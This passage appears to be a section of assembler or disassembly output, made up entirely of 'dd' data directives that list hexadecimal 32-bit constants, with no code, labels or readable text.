0F49FA39Bh, 0FF1352ADh, 83C64132h dd 2B2B102Fh, 0E92A30CBh, 0B14470Fh, 0C627E668h, 87E33254h dd 522A09E9h, 760173A8h, 687D4C3Bh, 0CD6A6C0Ch, 3A31F83Fh dd 0B8161D01h, 19FD43D2h, 5025F3Ch, 72D34AABh, 6F598162h dd 0F02775ACh, 0E9024468h, 839A9055h, 0B71C04B6h, 690C0242h dd 89589C82h, 2BFB0555h, 5BE8C756h, 0FA1EC14Bh, 99D83E99h dd 31345B42h, 64C5E9CFh, 70D2D8Dh, 96663B98h, 0ACD77362h dd 27575946h, 4B7FFC59h, 969DE6FAh, 26E12790h, 0F691FC46h dd 5C0001A8h, 810DB031h, 3701C9CBh, 604047F0h, 0B8E1E849h dd 0D87BA209h, 9045C31h, 4ADE4401h, 0F26D2962h, 9363982h dd 0F1811000h, 40C6012Dh, 0F00C9ECh, 0F7450A13h, 4017E9D1h dd 95F25D6Fh, 93984072h, 0C867A00h, 0E9E88987h, 9A6C5498h dd 97B23C52h, 161A5790h, 8600D828h, 8EFC098h, 0B0C77980h dd 510CB89h, 3A0BDB8Dh, 722524B2h, 742D9CF2h, 72CFD4BEh dd 64A51D59h, 0DAB72064h, 90B5D283h, 519EB21Fh, 0F6D5881Ch dd 59EA00BAh, 0E9BFC280h, 0ACE04AA1h, 21FAD20Ah, 4DCC2BCh dd 5CB553A4h, 0E72D6385h, 0A3095D56h, 63997FD9h, 986FA44Fh dd 21DAB502h, 5D057DCBh, 0ADB00E49h, 0AAD4128Eh, 4DE10478h dd 8028B964h, 5A3DD84Bh, 6ECFC4Ah, 43105112h, 60152DE7h dd 0DDE829A1h, 1A0EAD05h, 10D2D454h, 0CBF44E2Ah, 0A3FD5EFAh dd 685C8145h, 0CC6A7DADh, 3802FBB2h, 3AE97311h, 0AD9AD1CDh dd 0EA8A627Eh, 52801908h, 55126CBAh, 0A3505F1Dh, 20C058E3h dd 0CAACA0E2h, 4229819Ch, 90DF2D81h, 0B7E8DDE3h, 11084965h dd 56B5026Eh, 0B5818DB2h, 0F8EA28B7h, 0F382BDF8h, 0B4CB89CFh dd 68429576h, 0E966CBB0h, 0FE3881A2h, 36632DC4h, 776001C4h dd 48B95AC6h, 0E990C861h, 0D699A66Bh, 5B1082D7h, 0BC816CD1h dd 600D2948h, 0E7BE83AAh, 27FA0296h, 1C3B2CAh, 4D45841h dd 5DAA01C0h, 0EB0E6F21h, 0F58AA7DCh, 5A17B263h, 52265B7Ah dd 0EF70AC58h, 0E95EA832h, 5D735B77h, 97F7CB3Eh, 2B799A48h dd 5F391B0Fh, 0B10EA54Fh, 9EF9BFD5h, 5A96A65Eh, 75BD3253h dd 0EC8C08F4h, 0D4FD2D13h, 109E5F2Ch, 0D0A95A80h, 3AA2C603h dd 0EEB06BFCh, 6C2D6AC1h, 25937813h, 706C1E4Eh, 0C6B24095h dd 652A037Fh, 2E6C15Eh, 0DA7D2A2Dh, 0F36F2013h, 0EB25F4Bh dd 5A9FACBh, 914AEF79h, 0B86855C1h, 9732447Bh, 0E07F9814h dd 2EEE200Ch, 587B45Eh, 83619A72h, 0C9E606C6h, 0BA018DD5h dd 20FD5478h, 0B8F4D389h, 241AC0A7h, 83D34AEh, 0C9430795h dd 0FB0BD2E2h, 0B85192BAh, 965CAC72h, 8BDF5A8Bh, 0C21C57F6h dd 0C1DDBA20h, 9AB08322h, 0DFB951ADh, 9EA27C02h, 29749C09h dd 0CE961914h, 0FC41136Ah, 0CC9F12CCh, 6106BAE4h, 53F559DFh dd 1940C683h, 0FB9F5DE8h, 0A3570B83h, 23CEA0A7h, 0ECD25AF7h dd 1EBDC950h, 59C29895h, 3CC4B0B6h, 0B972980Bh, 0EACBA097h dd 4A3E9404h, 0BB42847Bh, 6838762Dh, 0E90B61D3h, 0C127242Eh dd 0F708EE0Ah, 0A2158DD6h, 0C1F9350h, 0BC40FC53h, 191C34BFh dd 0A492B07Eh, 0BB298E3h, 45F21D05h, 8A020FEh, 2932ADACh dd 66FD4CFBh, 855F5E73h, 1F3DAA46h, 908B727Dh, 84B97459h dd 51E268F7h, 547D31EAh, 0E0D3017Fh, 50C12272h, 7A8BEAE9h dd 73127C8Ah, 9137FABCh, 5A0B41FFh, 0E7C253Dh, 7C32578h dd 6EFF4620h, 314B7CA6h, 977EDEB8h, 36E02F42h, 6DF145D4h dd 0CE153CCFh, 98273CB3h, 50E24EE8h, 46BFB5FCh, 12DDF055h dd 366AA1Fh, 7853E7F0h, 6AF71DE1h, 325537A0h, 30482818h dd 0D925AAD4h, 10671BC1h, 0B12DCEBh, 0D2E2F831h, 85B48A20h dd 4F320C2h, 0A5708142h, 5E4A04DDh, 0D81325B7h, 2C09AD8h dd 28932D01h, 72547B05h, 12476558h, 0F029C319h, 0BA413481h dd 33B42h, 25F2F681h, 89C4C91Eh, 0BE565E40h, 36FF38A3h dd 0F412090Dh, 0AF6F510Eh, 6AEFC050h, 0B5312288h, 0C2918AC0h dd 0F01754DCh, 542551FDh, 0C86B7CDBh, 8169CD98h, 5B07059h dd 0C858D798h, 19B9D69Ch, 0C04F0D7h, 97246E9Dh, 52976F64h dd 295C4EBEh, 0C1DEFC17h, 3CB11EC3h, 6EECB580h, 56D4905Bh dd 7AB5F928h, 524959C0h, 0E448F84Ah, 5B66055Fh, 28EFF864h dd 0A19551CFh, 55E987E8h, 0BD040635h, 37A28AFEh, 0F31F245Dh dd 97B44347h, 56A9C482h, 0BB524571h, 0E22B7C79h, 4AB89305h dd 75A9E982h, 0E5044672h, 3C332F2h, 0F9712EFh, 0DFA54FA9h dd 0A431826Fh, 28C7B001h, 0C6CD6761h, 5E979342h, 0ACEF8153h dd 6A73675Eh, 80459D4h, 0B1907DE9h, 9B515A66h, 91AC88B3h dd 0C8BE0F00h, 9B6A1868h, 663E09B2h, 9E97354h, 189E7DB1h dd 68590D90h, 0F84A2589h, 0BD550393h, 6E635C0Ah, 0E906E00Bh dd 556E62D5h, 0E4107348h, 4CC811CFh, 165308C1h, 0F2200D68h dd 0F749C96Fh, 0D759BC09h, 2CB4FABDh, 2F727225h, 0C0681088h dd 612C5C4Bh, 1302AF77h, 8045A60Fh, 0D0276BB4h, 8F2B7AFh dd 0FC034A5Bh, 9F54F780h, 4716129Fh, 5B7EB08h, 0EB58C588h dd 0EA648D09h, 6FD68029h, 0BE62E26Ch, 19120054h, 5A67052Dh dd 2935C90Bh, 0E13257C6h, 0EB1002D7h, 557E8996h, 5E25A216h dd 760EE9ADh, 7C6C36E4h, 0D23CF54Bh, 656B3475h, 78D9BA0Ah dd 0A0B3813Eh, 0D101F053h, 0B0E910C8h, 55C06829h, 805E4CB7h dd 2C7EE196h, 88FA6C4Ch, 5609EA17h, 9EFA95Bh, 1FF2535h dd 0ABB164AEh, 5B66D32Ch, 86184A09h, 1B73ADC9h, 29E30A18h dd 0A0D99F04h, 7B773560h, 0C12E00B9h, 12D07E0h, 0E1314B5Ch dd 0A8808E29h, 0E884957Bh, 46F84F1Fh, 50458A4Bh, 989D643Dh dd 82A190D7h, 520D1AF6h, 0F0C126B6h, 57E15502h, 0E0A62E18h dd 0BC972F79h, 0D0A474D3h, 48C1AD3Eh, 25B6C250h, 75785268h dd 7747CA9Dh, 6BCFAEC1h, 40F7140Fh, 0D539290Dh, 350EC03Ah dd 151F0988h, 9AC58927h, 21B68061h, 0B5124E5Dh, 28088D28h dd 9776795Dh, 0EA2864D3h, 0B75FD097h, 0D9C2DB30h, 37753F1Ah dd 9F82608Eh, 74262779h, 5C20D9F8h, 0EF891C8Dh, 87FE45Dh dd 293FD6BFh, 0A73DFA21h, 584EC199h, 0D2FFB27Ah, 853405EFh dd 680691A1h, 0DDA66F01h, 0F497AC4Ah, 0F2C684AAh, 0CBB99266h dd 32E73717h, 1AF55823h, 0AC45D507h, 50E25BBFh, 1C11FAD8h dd 0F41FA42Dh, 0E95284F6h, 6B3FE158h, 84309ECFh, 808EB61Eh dd 9AECE65Ah, 0F3887F0Fh, 0BC9483EAh, 0C585D5BFh, 0A2E830D2h dd 51668395h, 0B5061353h, 0BA27138Ch, 577C272Dh, 766DDA11h dd 0B516A64Eh, 6EE52DFAh, 0D810ECCAh, 0BCF85B91h, 6FE646D8h dd 2D283FB9h, 0AB16E1E6h, 29BA0D74h, 0DF44E65Bh, 37633732h dd 1A00F7E7h, 6A1E4033h dd 0E1C0B7A8h, 208B8D4Ch, 9BB6F29Fh, 357E250Fh, 80FDB201h dd 0B547D3E2h, 0B969E44Ah, 57E6ECA6h, 0BB7B2CEh, 0EA27F99h dd 2B0F1D16h, 0D1513152h, 958692F8h, 284F11Ah, 1729B6E5h dd 75BA080Eh, 91DCEA8Bh, 5B7E9055h, 0B5AE419Ah, 7E44952Ch dd 0B768ACD0h, 51989519h, 81314910h, 68EB3A21h, 7F83AD00h dd 0FAF566B0h, 5F5AB7D8h, 459461F7h, 7D48A92Fh, 58795DEEh dd 44BF1325h, 5B3BF052h, 0C65BAC7Ah, 402193BCh, 0D753CD3Ch dd 178B34B1h, 0EF348516h, 4DA21187h, 48D0FE1Fh, 66D403C6h dd 93F279BBh, 4824AE76h, 471C05C0h, 0E9340966h, 277EC632h dd 5B338984h, 4D36BECh, 44420E5h, 0ACA557E9h, 0B7CA43Bh dd 482F6245h, 2D00AAFFh, 0FBF55C6h, 5D02801h, 0F85A5A07h dd 45E9C314h, 0F27F2FF1h, 689E4DE1h, 5B794EF1h, 0A737966Bh dd 0B179609Fh, 2C3AC592h, 0CE03873Eh, 5A7A093h, 0C2A906CEh dd 0C0287FEBh, 9E72E53Dh, 24E2813Fh, 2F645D53h, 1A0EE802h dd 24497011h, 0B08DEF7h, 9C77BD02h, 625748A4h, 2AD6D12Dh dd 7DFDE906h, 89F7062Bh, 0C526520h, 231B460Bh, 97B87061h dd 54D6B4E2h, 0B0120758h, 0D909B760h, 9551EA0Ch, 0C53188C4h dd 9DF70313h, 0BA819673h, 0E90B8999h, 92057E0Dh, 5039B0E0h dd 6BEF9F51h, 5B4D79E4h, 0BC7D56ACh, 1825998h, 4C8F6445h dd 4EFCEE83h, 7FA22CE9h, 53547B1h, 691C82CBh, 0CE30C3CCh dd 0FCEDEFBBh, 9C4E2CA0h, 78953EE7h, 0C71CE5B9h, 0EDFBDC53h dd 2191360h, 9FFDA84Ah, 0CF2559Fh, 27332E5Ch, 5E7C5E81h dd 75B00D0Bh, 20F85601h, 0F91CD608h, 0E2E90BDCh, 6BB6710Bh dd 2091060Dh, 607B8A9Ah, 12A0F58h, 102A2EE4h, 6B41F289h dd 316AB97Ah, 16D23844h, 0F751954Ch, 0AF1B45C9h, 0E9789256h dd 3B139174h, 2910B205h, 0C8F0042Bh, 0F50807B7h, 1A5453DEh dd 96F13F5Dh, 6AC0662h, 44DF5E9Ah, 953C2DB7h, 103C0DD9h dd 11505EDh, 5789B5D7h, 3C5CFDD4h, 526B84E9h, 0D9361B55h dd 54366433h, 13A57C10h, 0C2B5DE68h, 9BEFE004h, 9FE909D9h dd 0F69312DCh, 0BA5896E5h, 14EA2012h, 304AF60Ch, 2AA468BDh dd 4160DBB7h, 894F2E68h, 0F7C4DA5Fh, 0CDF9A714h, 0BF189FEFh dd 5B057501h, 826EE7D1h, 0CD46D779h, 0AAD270E7h, 2D82B14h dd 398B30BCh, 0C46A0DB2h, 8D7E824Ch, 92ACE00Ah, 4F11F195h dd 4B62C48Bh, 757A4FDEh, 49A06ECCh, 0D92C3720h, 602D6463h dd 151C957h, 89BA2C6Ch, 61E3951Fh, 6EC920A8h, 2525479Dh dd 73F0579h, 0D042DAE6h, 801BA90Bh, 0E43F5287h, 15E981Dh dd 51A96EF3h, 2001C283h, 7D04F4C5h, 0D329198Bh, 0B354DFE4h dd 88E6A122h, 0D025E6F6h, 8E689764h, 8B2D5AF5h, 0C3A37043h dd 1E5732C6h, 40D02202h, 736936E9h, 0F32882F6h, 6C15A66h dd 39017F97h, 9291D1F7h, 0B79C5E30h, 13BF0A6Ch, 2DD604EBh dd 8116180Ch, 21F3D73Ch, 2A076584h, 0E62ADAD9h, 45CB5A23h dd 25BE7210h, 2690B45Ah, 8DC720E9h, 0D2B4D589h, 9FC37D60h dd 71B45D81h, 8968B4EAh, 0A0BAE550h, 1AFE3016h, 304DA08h dd 7B58016Eh, 1B8C0C07h, 589D82F8h, 0F23A0271h, 5C53D643h dd 0A8CE52EEh, 0E8E9824Eh, 0A8DE4B5Eh, 0C951A204h, 0ACD97F24h dd 69B5CE81h, 0C79755E9h, 8353FAB9h, 0A02D164Fh, 130B202h dd 70551D8h, 8555893Bh, 0BA68576Fh, 985402F0h, 5A884045h dd 74491CF8h, 6E6D37Fh, 0AF539D24h, 0F4273A56h, 0F757849Ah dd 608CEB14h, 56CF40B6h, 7963CAC1h, 60F07E92h, 0F39BAC0h dd 27403E1Ch, 8061B44Ch, 283D51ECh, 0E2FA2DCEh, 5416DF04h dd 1CC26A96h, 2F99E5F3h, 0EC7D51C2h, 8C6FF18Eh, 0F7488037h dd 40B613ABh, 0EE6B02EFh, 0CB5E2845h, 309C180Bh, 8268AD28h dd 0BD845C0h, 819D73BDh, 0CB9565BBh, 39C12FC5h, 96E7EE9h dd 59894F0Ah, 4EAD4F01h, 0F7B57BF7h, 0E0D41280h, 0FE010B8Bh dd 9C3E5F48h, 0DF6CE2A5h, 0AC678340h, 0FD834C95h, 8C66506Fh dd 2DA1A644h, 55586AC5h, 937F140Bh, 3B40B1Dh, 97120139h dd 8051CCDh, 14123484h, 0BA1816BEh, 57C5A62Ch, 3627A202h dd 0F6815374h, 516E4268h, 80A02A70h, 0ED0B2D5Ah, 529A957h dd 2DFED847h, 3CE1F5A8h, 585D1FFDh, 3F51847Fh, 65C02603h dd 614F119Ah, 58D4184Bh, 0FA74288h, 9AB772D8h, 8B07BECh dd 30167595h, 63D0BC09h, 7DCE82A0h, 8A9E66E4h, 80ED8309h dd 712AF59Bh, 50052D41h, 0A54F707Ch, 47BE2DD0h, 0E3575ADAh dd 0F776C56Eh, 9B67CF07h, 625B292Dh, 0A8ABF508h, 0AEF83304h dd 8104F885h, 7D1FF424h, 78742DADh, 0E6B8FEB2h, 28595FC9h dd 3096E846h, 533B8E10h, 54708512h, 0C459510Ah, 0E94970D7h dd 45BD88FBh, 429F9604h, 4CF58081h, 1C08C7F4h, 42B10311h dd 40FD1F6h, 0C52CB050h, 4AB7F254h, 0AE17D33Eh, 8BF45DAFh dd 98FFB122h, 2D738419h, 64C832F4h, 592F4DAAh, 4EF7FC09h dd 5D890C94h, 52023D16h, 2114DD68h, 0E976907Ch, 6F866144h dd 71315EF7h, 0E1002B3Ch, 0B41FA2F1h, 0C1832A3Eh, 0BDB50BD6h dd 0FC5E9D5Eh, 122D3Ch, 0F1295A7Fh, 4ECE7B87h, 46EDE04Eh dd 11E99612h, 0FC88BE44h, 0D3103C81h, 10D27962h, 6810CB12h dd 840F0989h, 50AD6048h, 31C79752h, 4D716B0Dh, 92C45DF2h dd 17B86130h, 372E38EAh, 745C2319h, 895103A3h, 5FC396D1h dd 5A050139h, 6E0EE8C1h, 41C70EB0h, 522289F9h, 0B5BC77A9h dd 2678FA1h, 99854380h, 0A2115CDh, 95EE7230h, 0B8C3D6C2h dd 0B0E2F27h, 0B9B6C562h, 278C5309h, 35D58400h, 409D61C5h dd 828BF5E0h, 0B4856EE0h, 0F1DC97DFh, 4B3768C5h, 0BC9771FAh dd 0EF6B8F5Ah, 6BDD9EC4h, 5FEDC780h, 5E8B3356h, 0F547F234h dd 322245EAh, 233BA9Dh, 0EF65408Ah, 51E04CA6h, 5EBF57E0h dd 0A187804h, 4EA0ACE9h, 72682F5Ch, 0AB9E0A7Ah, 0AEE6E9E1h dd 0DF74F94h, 0FB5D30C5h, 0ED4BBACEh, 0DFFC971Dh, 7DB45080h dd 8B01F480h, 0C053B151h, 0F1E403E1h, 0DEF0B591h, 4C1FE36h dd 30850C14h, 0FAE59CCh, 0E431D1BDh, 7D662202h, 965AA1A2h dd 4F888B51h, 0D58704A1h, 0AA11C131h, 5ADE52D1h, 9E3EF5EBh dd 0EC2893BFh, 0CD586EA6h, 84512D4Ah, 74FC6872h, 446F5CA9h dd 0CCD2E2B9h, 71B540C4h, 7C206B01h, 47EF80C3h, 0E5F04095h dd 0B22580BDh, 1B3B4A01h, 18023635h, 0A321F9C7h, 0AA0F747Fh dd 7054CD4Bh, 0C96EB51Ah, 0E8598020h, 9D9E77EBh, 0B2761E02h dd 108639F5h, 3526DF09h, 84C4B25Ch, 0D357B4F0h, 4513BB1Fh dd 0E9B04DF8h, 0D99F89FDh, 0F87762F0h, 2C71E1DCh, 0B5F65443h dd 0FD218604h, 30C36802h, 2A9866F9h, 38A6BF5Fh, 5FFA7B74h dd 5D300231h, 6B59C829h, 70600B6Bh, 0A7C3005Bh, 0E940FA0Fh dd 85A5BC1Dh, 0E7C85A39h, 878BF1E0h, 4B5E15F9h, 8BA66A69h dd 9AB7D7Dh, 0E30BCE7Ch, 8B275694h, 0AC003F41h, 72D6BB53h dd 521C2907h, 8F418ABAh, 806F4A55h, 0EB191DC3h, 0E190D1B0h dd 0BC30D860h, 0D440A839h, 0F110EA10h, 0CA8107E5h, 1F957148h dd 0DB12CC0h, 31012F63h, 485A5CD4h, 4ACC9521h, 6858F1F2h dd 0CD5CA3F2h, 0A1677908h, 989508B7h, 0ED05AC1Eh, 29C5722Ch dd 0D4F68F43h, 66BEB780h, 700C1ACCh, 25E35F8Bh, 6AB4DD25h dd 5B5905B4h, 821F27A7h, 0CEFFC408h, 7310B7B5h, 59B6F9A5h dd 90015045h, 5B5A30FCh, 3A04E26Ah, 9DC6CCD8h, 0F6D068EFh dd 4CB880EDh, 48E33E3Eh dd 99541330h, 2B1AABE3h, 41753DC8h, 0E3309A88h, 7BEB7901h dd 3F1C905Dh, 293A6A1Bh, 62B010EFh, 9C7AD4Ch, 0F7C08255h dd 207B64DBh, 82B769DAh, 9DF36BFh, 2C614F81h, 2868C80Eh dd 0B652E805h, 0F416E912h, 292213D0h, 9F3450CCh, 0A86E02CDh dd 7F010518h, 0D0CA415Dh, 13EDF32Bh, 77ABF280h, 9233B4D3h dd 156B59F5h, 0ECD5806h, 6BC20C8Ah, 8DC20DC9h, 6852BA75h dd 0F70AB285h, 6ACAFC71h, 836360C1h, 16A92D74h, 8A0615Ch dd 134B2DB0h, 0D2DE99E9h, 0B41A4626h, 0A341AEB6h, 0C4CF9E20h dd 0AAE76E5Ch, 0D97BBD39h, 72287FBBh, 0D2399D2h, 2C445709h dd 8110D34Ah, 0C5EB18D2h, 3DB18E81h, 0B30E802Eh, 0C1AEE128h dd 0CECB58AEh, 89499AD8h, 41681A7Ah, 5002E1F3h, 0B4874CF8h dd 6ECE626Eh, 0EB504376h, 0C6D1052Dh, 0BCDE311Dh, 0D4BBA769h dd 0D9CB70CFh, 4DBE7F1Fh, 6201E300h, 5AE91B0Ah, 0BF7B8563h dd 0BDC3B690h, 9D61851h, 0E5B26E5Ah, 0C9FDF42Ch, 0E7025811h dd 77431672h, 0BCA1D88Eh, 3F29D5C1h, 9F51980h, 48234CF4h dd 0F125854Ch, 7FD77618h, 9499516h, 0A83E13FBh, 78C38432h dd 8315348Dh, 54495100h, 486A65h, 2B4EC305h, 0A30F356Eh dd 0DCD8902Fh, 5BCF0CFAh, 5A775F3Ch, 7EA2BD4Dh, 42957098h dd 137ADCD3h, 2DB4C091h, 5848FC44h, 0FE73129Eh, 0BA9D834h dd 50B1FD10h, 35146C6Ch, 5A379D9h, 70B421A1h, 0CA149500h dd 35E98602h, 8281C7E7h, 2D045907h, 0D0328ADh, 7FF0537Bh dd 5088C0F9h, 4716E6A3h, 0D2C633Bh, 0C0412EEh, 39387098h dd 0D49CA3E9h, 0A85E13h, 0E6760300h, 49CD814Ch, 296F3409h dd 0EFABFF4Dh, 16013FD0h, 0E9B980F6h, 4B41A3CAh, 8333D047h dd 5A0FDF4Bh, 9EC423C4h, 0F695DCFFh, 270506D2h, 0D3E4A7E2h dd 3F0407D3h, 0ABEA0110h, 0BB2C23A5h, 63111C8Eh, 13EE2155h dd 0C4AB1256h, 56421694h, 5801A77Ah, 52807AA1h, 4F314CB2h dd 0D33EB13Dh, 0B6566F93h, 552D178Ah, 9AC04DFCh, 0BD7AAB15h dd 0D4EA6604h, 64B90185h, 0C3E82186h, 20AC5D4Ch, 745C5C87h dd 0B0504500h, 343A2C7Ah, 0C3316770h, 0EFE90658h, 0AB66122Bh dd 9C5C162h, 0D24F6AE4h, 54E04444h, 7D465B0Bh, 0D25BFAF8h dd 0F257DEC8h, 8C754ABEh, 0E44AC0A2h, 571D16B7h, 4C6149BFh dd 0D19D9370h, 0FB2989B4h, 471C2EFEh, 0B0F4D06Fh, 15240915h dd 0E0444C6h, 22B00792h, 6BC37DB4h, 65777F27h, 5266AB8Bh dd 4E81AEC1h, 68007DA7h, 0B29779F2h, 341F82D4h, 704C7F85h dd 4F7A784Dh, 0BEE59AA8h, 8888D129h, 91247AB7h, 18FC4808h dd 0B06C05Fh, 0F72E57EAh, 0F21F77D2h, 0A8A0F4C4h, 3E735CC7h dd 50AEE40Bh, 344B0823h, 0C830EB8Eh, 94C8AF0Fh, 5412096Eh dd 2AE4451Ah, 52022C44h, 205A6D54h, 2B3DC1CEh, 0F3815901h dd 69A8368Fh, 43B40C6Bh, 121DFD14h, 52C01583h, 3BBE5650h dd 7E9F0155h, 17CC48B8h, 50B02BCDh, 4F53E02Dh, 81FA0D5h dd 0D3F7931Ch, 4C8483E6h, 56EF7AB3h, 4752BF13h, 0DEAD7E09h dd 0FA5397F1h, 42304B09h, 4B40FD8Eh, 0F927788Fh, 3E9EDE43h dd 0D8E9313Dh, 591F9751h, 0EF6F9865h, 0F481829Ch, 418A10AEh dd 2001C5A0h, 93BFCE90h, 0F058C2EEh, 0DB47BD29h, 262C4525h dd 5C3125D2h, 0ADB26E4Bh, 20BCB2C0h, 0E84BE9D7h, 75B9A040h dd 733FC17Ah, 0FED60381h, 0A2E9DDF0h, 4B9C8ADDh, 0E2935FB2h dd 0E5991606h, 0BD11C2E3h, 0B81E160Fh, 52BA18Dh, 0BDB79445h dd 86E610D0h, 2E99FB50h, 1F3EF57h, 0EB13B9BDh, 5D273051h dd 25F9E0B5h, 0A84516DBh, 2842AB09h, 0D86D0A9Ah, 352F1D3Bh dd 820A13Ch, 0BA95858h, 0B6F9641h, 990F6EFh, 0B0D55AB5h dd 0A6518DBCh, 4FB5F0A4h, 0D2ABA342h, 0F1DA61ABh, 92901423h dd 28416EBh, 733257Eh, 0A1CA0C43h, 2D29E07Dh, 117018CCh dd 8F28E84Ch, 29B3E210h, 27E3F84Eh, 5E1180FBh, 98685756h dd 9F137418h, 47716966h, 0A60B1EB8h, 6652A3FAh, 0A8E91804h dd 24689203h, 82CD114Bh, 4D26D62h, 17C8F112h, 743DB00Dh dd 23C29B01h, 7BE0B82h, 10DC95E9h, 2E0B801h, 48C65016h dd 2513707Fh, 0B742148Dh, 31580701h, 89D5C9EAh, 0AE84E908h dd 5201A494h, 0CA05B390h, 13AA0FF3h, 0E71CC789h, 3A807BDCh dd 0E96EFB69h, 0C45897C6h, 0C27E739Dh, 26F5B0E9h, 9B04DAE5h dd 7EA73FBCh, 87578989h, 72B1ED75h, 0BE51B407h, 18283BE9h dd 66D00470h, 0E8E42C5Ah, 39954CE4h, 0F6B696F8h, 903072E0h dd 567A2EA6h, 39E44EFEh, 7CB5C85Fh, 8CEB88E3h, 0CFBA0151h dd 8227AC62h, 5A682FB4h, 83BB603Dh, 6B33E2Eh, 4979EA2Eh dd 0CD5D10F5h, 2EE51Fh, 0E8A3D113h, 0D64E01A6h, 0B5EE282Ch dd 71427F71h, 2733C8BBh, 0B800862Eh, 57823351h, 77419C2Dh dd 56E91786h, 0FCBE4F73h, 0BA6214C5h, 209FAB10h, 0B0D0BC9h dd 6556C78h, 765DA9F4h, 0AD9F9135h, 0D7C986FCh, 0C097981Ch dd 8B6E432Bh, 0C85DC9DFh, 8250F10Ah, 0A594C07Dh, 0B9E37628h dd 13029C34h, 6B23B3C3h, 0BD320726h, 3768E300h, 624E9E44h dd 2A0BF98Dh, 0B370214h, 0AEFCFDD5h, 10B9193h, 0F4442ED8h dd 5E0AB204h, 23762FC8h, 19CA2FBEh, 0D1C38F81h, 0B4788A16h dd 565D53CFh, 9201A47Ah, 68795262h, 4846DF19h, 22BCE927h dd 0E2028F74h, 0FC822AC7h, 0E9D1392Eh, 0B36E96C1h, 6DBD02DDh dd 4056A46Fh, 2C1E8DDDh, 2F94178h, 70F01FFDh, 4779010Bh dd 0AD61A407h, 2768D9E4h, 0C07E04B1h, 0FD9412Dh, 2D002F6Ch dd 0E0137FFDh, 1907C681h, 1464F5Fh, 83A0869h, 20C6782Dh dd 2C50902Dh, 0C5B5C192h, 51FE253Dh, 0A3AEFBC4h, 59528BAAh dd 3C30EB4Ch, 48BFE1F6h, 0C4C9E983h, 0C2F229B3h, 0FE098C33h dd 5D3C087Dh, 0F4EA8007h, 0F5CBFAF2h, 70442123h, 0E905394Eh dd 0B6E90127h, 6B202105h, 204CEE65h, 10396E45h, 2DB811E9h dd 27064BBEh, 6E435E78h, 0AEB53897h, 5B02B6F8h, 4C315A74h dd 0D7C95DD9h, 98829916h, 88E91D02h, 0D1E0C770h, 0C63380F0h dd 84B906E5h, 0DE7529ACh, 0F331E706h, 0AD3997E1h, 5701AA8Bh dd 0E913365Ah, 1132A19h, 0FE875494h, 0F200E18Ah, 68464947h dd 53C19D4Ah, 0C2092AC5h, 654257BDh, 0DAD50182h, 132051FAh dd 0DF4BA278h, 0D1E9C548h, 0C755A860h, 4FE89523h, 5FA3A868h dd 0F7677F81h, 9B0DCD54h, 0F9F9AD24h, 0C187E7F8h, 2DCF53Dh dd 5355206Ah, 68DA985Bh, 0FF69894Ch, 98CF5080h, 7512D76Fh dd 0E5F4DFF7h, 41010EC7h, 2DF0DFAh, 72B866FCh, 4508BDDEh dd 535F1F5Ah, 0FDF004DEh, 0A6D5166Bh, 948582A8h, 0F1E1D74Eh dd 0E9553035h, 24D5DEC7h, 51AC71C7h, 5426795Eh, 6752EA6Eh dd 56F55D91h, 2C07F005h, 5AB2A25Ch, 99FA6684h, 3E29255Dh dd 0EFD052D0h, 4CF73980h, 4F177DF5h, 3AA0D978h, 3DEAF325h dd 0BF3C7F11h, 4EF95CF7h, 8BC2742Ch, 12A095A9h, 6E2D30FEh dd 7217D0E4h, 56BF486Dh, 5881698h, 0E9505428h, 59B9D0D4h dd 0C0D89C75h, 80D342FCh, 0ECBF3433h, 0C14E9D94h, 1720BA90h dd 0F0D1D80h, 8B7C9E23h, 0D0105B4Dh, 0BC89F927h, 0A75904F2h dd 0B1C4409Ch, 3F49A85Ah, 12835A30h, 0B834F868h, 0B51CC475h dd 64C12D00h, 0CFB83133h, 636A3D0Bh, 0A628752Ah, 69EC2708h dd 0ED4FE97Ch, 5ACB85E9h, 8E20E8ECh, 0FD666F9Eh, 0AE4D5F25h dd 0B7411039h, 0B36174D7h, 1A67C02Bh, 0E9133428h, 0ADCA23h dd 20EBA84Eh, 16DA5BCBh dd 0D90DC470h, 0F149ECE3h, 0DB58C99Fh, 0FB86664h, 47AA2C1Bh dd 0A254584Bh, 640BBF68h, 1E9CD5C6h, 169768E9h, 53FB055Eh dd 82364472h, 973BB295h, 0E94E70BFh, 0F397EA92h, 35A7A3B9h dd 0E252BE18h, 3CBD108h, 9192DAF7h, 0B6A0E8CAh, 0B8685350h dd 51FE121Ah, 4B0B63FEh, 4A8ECFEh, 0E72D327Bh, 0EE1E00BBh dd 89709E2Ah, 5B72E858h, 0F0895FEDh, 5429F4E0h, 0FB90EE97h dd 10BF6880h, 435B7F98h, 489524B0h, 4F59E91Bh, 0D3D6A6A6h dd 532DCDFCh, 5F4B5776h, 534AA8BCh, 6802C9B3h, 33A82AF6h dd 9164BFCh, 0C500F3BDh, 81574369h, 1F2D61E6h, 2D57C49h dd 5DC27B6Dh, 27DE7DC0h, 2430B43Eh, 430C94E3h, 0E920C29h dd 4B7AF305h, 10CB833Fh, 407BFF4Fh, 2233A709h, 0E7A9D8C0h dd 7606C638h, 626D63E4h, 9DA772B5h, 9F4C46E0h, 5CEBC080h dd 0F677E106h, 0A9845587h, 1EF9D40h, 742B3E1Fh, 0AEEC5793h dd 4BDDA421h, 0C8EA8801h, 59025AD3h, 0E3C0C3FEh, 0FE307502h dd 8D4AB4E9h, 406D2DB4h, 44975057h, 0A99ED2F8h, 0F3547B5Bh dd 969D54EBh, 0F81520FEh, 5D4882B5h, 9F30F755h, 5A4F3A68h dd 6CE9D761h, 0AB3D852Ah, 8120419Dh, 85F186Eh, 9A4F9223h dd 966FE6B4h, 2F643023h, 0F45EF3h, 12B6127h, 0DD7C84A7h dd 0E46884C2h, 37496970h, 7AB10700h, 456518F9h, 2FE393FAh dd 29729A06h, 4E832819h, 0DCCDE5B1h, 0BBB06A18h, 8718B70h dd 4CB9B4C1h, 9A606BADh, 927E138Fh, 644D8033h, 105A13DCh dd 0EA0263ADh, 5D356207h, 0C214E4F4h, 0D31C6008h, 0BD482B55h dd 6815EA14h, 10BA25E5h, 5938FC0Dh, 4345E827h, 0FEE29924h dd 5D5B0397h, 3BA3B9B9h, 627FAF27h, 40713C9Ah, 53E3D86h dd 61E9058Ch, 338837DBh, 0C8D957E5h, 0CB316E67h, 29016915h dd 3E9FFDD3h, 2DB2D97h, 7CCAC7FBh, 0D78E3B8Eh, 2500956Dh dd 6E8736F3h, 152F509Fh, 484EF7E9h, 7C95E78h, 25E60DA3h dd 27E904C1h, 77E7A976h, 2DFC6DF3h, 3B67DAC5h, 0A3DF8359h dd 0DAA29324h, 